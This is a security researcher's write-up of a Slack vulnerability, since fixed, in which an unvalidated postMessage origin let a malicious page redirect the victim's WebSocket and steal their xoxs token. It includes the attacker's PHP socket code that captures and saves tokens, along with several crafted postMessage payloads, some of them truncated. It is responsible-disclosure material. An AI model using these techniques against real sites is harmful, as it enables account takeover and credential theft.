Hacking Slack using postMessage and WebSocket-reconnect to steal your precious token

Hacking Slack using postMessage and WebSocket-reconnect to steal your precious token - Frans Rosén, labs.detectify.com.

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Content

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TLDR; I was able to create a malicious page that would reconnect your Slack WebSocket to my own WebSocket to steal your private Slack token. Slack fixed the bug in 5 hours (on a Friday) and paid me $3,000 for it.

Recently a bug I found in Slack was published on HackerOne and I wanted to explain it, and the method I used to discover it.

Background

Using `window.addEventListener('message', func)` and `window.postMessage()` to pass messages is a really convenient way of performing Cross-Origin communication. However, the biggest pitfall (which we've covered multiple times before) is not checking the `origin` of the message.

Last week I was cruising around on Slack, using the version in the browser. In Chrome, there's a really neat way of watching if any object has any listeners. You can find it below `Event Listeners` in the `Elements`-tab:

[image: image]

I noticed this was indeed the case for Slack, they were passing messages to a listener on the `window`-object.

The listener function started like this:

```
var _receivePostedMessageFromChildWindow = function(evt) {
  if (!evt || !evt.data || !evt.data.message_type) {
    TS.utility.calls_log.logEvent({
      event: _utility_calls_config.log_events.invalid_msg_from_child_window,
      value: evt
    });
    return
  }
  if (evt.data.origin_window_type === TS.utility.calls.window_types.call_window) {
    switch (evt.data.message_type) {
    case TS.utility.calls.messages_from_call_window_types.update_mini_panel:
      ...
      break;
    case TS.utility.calls.messages_from_call_window_types.set_call_window_loaded:
      ...
      ...
```

As you see, nowhere did they validate the `evt.origin` or `evt.source` being sent with the message. These two are read-only properties that cannot be spoofed. Not validating them was a clear indication to me that I could start do fun stuff, like accessing the functions using `postMessage` to this window from another window I controlled.

Creating a proper PoC

Now, just submitting that they were missing a origin-validation is not fun at all and would likely not show them the true severity of the issue. I had to come up with a better exploit scenario by looking through the code.

The first challenge I had to overcome was:

>

If I would like to attack anyone with my payload, how would I know what team-URL I should use?

Quickly, I noticed that `https://my.slack.com` would redirect to your current Slack-instance. That was awesome.

Now, looking through all events I could send, I noticed they had done a good job of ensuring the calls were safe. Even though I could actually control the browser notifications sent by Slack, or switch to another chat, none of the events was punchy enough.

A boring PoC could have been: “I can shut down your call to someone, if you open my malicious page first and then call them”.

[image: image]

While digging deeper, I also noticed that there were a lot of references to calls being made:

```
if (event.data.message_type != TS.utility.calls.messages_to_call_window_types.ms_msg && !event.data.reply_to) {
    TS.utility.calls_log.logEvent({
        event: _calls_config.log_events.message_from_parent_window,
        value: event.data
    })
}
```

This made it clear that a big chunk of this functionality was due to the actual call-functionality in Slack:

[image: image]

This function, when being used, resides in another window but communication actually had to be made with the main Slack-window, this was a big reason why they had implemented `postMessage`.

Looking at the `/call` endpoint, I noticed that it also had the same issue, not verifying the origin of the messages. However, there were actually more interesting events here. Exciting! (I'll get to that in a bit)

The problem I had though was that the `/call`-endpoint needed a slug, like `/call/UXXXX` using an ID of a group or a user. This brought me back to my original challenge, "How can I do the attack on anyone, even outside my team?".

Playing with Slack's route, I noticed that the slug `me` would actually work. So by using the following URL:

```
https://slack.com/call/me
```

it would route you to `/call/` (which weirdly enough breaks if you reload the page) on your current instance.

[image: image]

I now had:

- a redirect to the user's current Slack-instance.
- a page using the other end of the `postMessage`-dance, which we should be able to find something fun to play with in the list of events.
- a URL that would work for any Slack-user.
- a non-working page, BUT(!) it was using a `postMessage`-listener.[image: image]

This was everything I needed.

Event digging

Now, looking through the events that were possible to send, there was one which stood out to me:

[image: image]

Using the breakpoint mode in Chrome, we traverse down this function. Inside it, there was another chunk of message-handlers:

[image: image]

So what this meant was due to the non-verification of origins, I was able to control messages being parsed by the main application. I was also able to control messages being sent to the call-window, and one of the events in this window, had another chunk of functions exposed to cross-domain control if I used the event:

```
"origin_window_type": "incoming_call", "message_type": "ms_msg"
```

At this point I became certain it was only a matter of time until I found an interesting PoC to give to the Slack team.

Pinpointing interesting events

So, yea, I tried a lot of events. This was the list I had to play with:

```
accounts_changed(), apps_changed(imsg), bot_added(imsg), bot_changed(imsg), bot_removed(imsg), channel_archive(i
```

Now, I was really interested in the `reconnect_url` event since it was so basic and also had a clear issue when abusing it:

```
if (!TS.ms.fast_reconnects_enabled)
    return;
var url = imsg.url;
TS.ms.setReconnectUrl(url)
```

What it does is basically switch the WebSocket-URL being used for Slack. Now, the initialization of WebSockets are being done with a GET-event using a bunch of parameters. One of the params is called `token` and contains a `xoxs`-token which has full and complete access to your Slack-account.

[image: image]

So I started a local WebSocket myself. I used Ratchet which was easy to set up. I didn't really need a complete socket, only something that would respond properly to the init-request. I modified the `onOpen`-request to look like this:

```
public function onOpen(ConnectionInterface $conn) {
    // Store the new connection to send messages to later
    $this->clients->attach($conn);
    $token = $conn->WebSocket->request->getQuery()['token'];
    echo sprintf("WE GOT TOKEN: %s\n", $token);
    file_put_contents('token.txt', $token);
    echo "New connection! ({$conn->resourceId})\n";
}
```

It would just dump the token locally. I then started to test sending messages to the window using the console to see if it would connect to my socket instead:

```
window.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"
```

It didn't. Since the connection was already made with the original WebSocket, it didn't initiate a reconnect when calling the event. But when I looked at the handler-list, I noticed there's also a method called `goodbye`:

```
goodbye: function(imsg) {
  if (!TS.lazyLoadMembersAndBots())
    return;
  TS.info("Got a goodbye message, so disconnecting from the MS");
  TS.ms.disconnect()
},
```

Now it turns out that Slack had a setting called `fast_reconnects_enabled` set to `true`. This one made it possible for me to run the `reconnect_url`-event, then run the `goodbye`-event to make it reconnect. I had a lot of issues with it in the beginning, as it was giving me long delay reconnect-times, so it wasn't really clear it would work.

Building it all together

When putting everything together this was what I had:

- We start our own web-socket, which only has one job, to listen to the token parameter being sent, saving it on the server.
- When the victim clicks the link on our malicious page, we open a new window sending the victim to `https://slack.com/call/me` and save the reference of the window as `var b`.
- We also start a little polling-script that looks if our WebSocket took the token from the request.
- We then send the following postMessage to reset the socket-URL:

```
b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconn
```

- Every 2 seconds we also run the `goodbye`-call to make sure the socket connection gets interrupted:

```
b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodb
```

- As soon as the slack.com-window connects to our own socket, we dump the token, which our polling will find, then use it to gather data from the `auth.test` endpoint in the Slack API using the `xoxs`-token.

We have successfully stolen the token from the user.

[image: The token is redacted, you know.. :)]

I made a short movie to show the scenario when everything runs together:

Mitigation

The solution Slack made was to validate the `origin` from the messages using the following technique:

```
if (!TS.utility.calls.verifyOriginUrl(event.origin)) {
 return
}
...
verifyOriginUrl: function(originHref) {
   return TS.utility.url.getHostName(originHref) == window.location.hostname
},
...
getHostName: function(url) {
   if (!url)
      return "";
   var a = document.createElement("a");
   a.href = url;
   return a.hostname
},
```

Update: Slack corrected the fix to the one above due to a separate report made by another person, being able to post messages using an empty `event.origin`. The bypass was also posted in a Reddit comment.

I sent the report to Slack on a Friday evening. They responded 33 minutes after my initial report and had a fix out 5 hours after that. Amazing.

Thank you Slack for a quick fix, and the bounty of $3,000.

Link: Report #207170 Stealing xoxs-tokens using weak postMessage / call-popup redirect to curren t team

Until next time.

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Thanks to yaworsk for proof reading.
